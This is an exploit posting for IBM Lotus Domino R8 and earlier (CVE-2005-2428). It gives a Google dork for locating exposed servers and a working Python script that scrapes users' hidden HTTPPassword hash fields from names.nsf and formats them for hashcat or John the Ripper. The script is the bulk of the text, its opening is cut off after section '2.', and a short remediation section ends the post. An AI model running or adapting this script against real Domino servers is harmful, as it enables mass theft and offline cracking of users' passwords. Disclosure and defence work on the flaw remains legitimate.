IBM Lotus Domino R8 – Password Hash Extraction
# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit # Google Dork: inurl:names.nsf?opendatabase # Date: 02-24-2016 # Exploit Author: Jonathan Broche # Contact: https://twitter.com/g0jhonny # Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/ # Tested on: Lotus Domino 8.5 # CVE : CVE-2005-2428 1. Description IBM Domino Databases contain a configuration issue allowing users to obtain password hashes, configuraiton information and more from the Public Address Book (i.e., names.nsf database). Password hashes are obtained from the hidden HTML HTTPPassword and dspHTTPPassword fields per user in the database. 2.

[Default: /names.nsf]") outgroup = parser.add_argument_group(title="Output Options") outgroup.add_argument('--hashcat', action='store_true', help="Print results for use with hashcat.") outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.") if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() print "\nDomino Effect {}\n".format(parser.version) headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'} try: response = requests.get("https://{}{}/People?OpenView".format(args.system, args.uri), verify=False, headers=headers, timeout=3) except requests.exceptions.Timeout as e: print "[!] Timed out, try again." sys.exit(1) except Exception as e: print e soup = BeautifulSoup.BeautifulSoup(response.text) links = [] #grab all user profile links for link in soup.findAll('a'): if "OpenDocument" in link['href']: if link['href'] not in links: links.append(link['href']) hashes = {} for link in links: #get user profile try: response = requests.get("https://{}{}".format(args.system, link), verify=False, headers=headers, timeout=2) except requests.exceptions.Timeout as e: pass except Exception as e: print e if response.text: soup = BeautifulSoup.BeautifulSoup(response.text) name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip() dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip() if httppassword and httppassword not in hashes.keys(): hashes[httppassword] = name elif dsphttppassword and dsphttppassword not in hashes.keys(): hashes[dsphttppassword] = name if hashes: #output if args.hashcat or args.john: if args.hashcat: for h in hashes.keys(): print h if args.john: for h, n in hashes.items(): print "{}:{}".format(n,h) else: for h, n in hashes.items(): print "[*] User: {} Hash: {}".format(n, h) print "\n{} hashes obtained\n".format(len(hashes)) 3. Solution To hide the HTTP password from the HTML source: 1) Open the $PersonalInheritableSchema subform (In the designer under Shared Code, Subforms). 2) Find the fields: $dspHTTPPassword and HTTPPassword. 3) In the field properties for both fields, on the hide tab under "Hide paragram from" check off "Web browsers". 4) Open the Person form (Under Forms). 5) In the form properties, on the 2nd tab, disable the option "Generate HTML for all fields". In addition, ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other senstive files. |
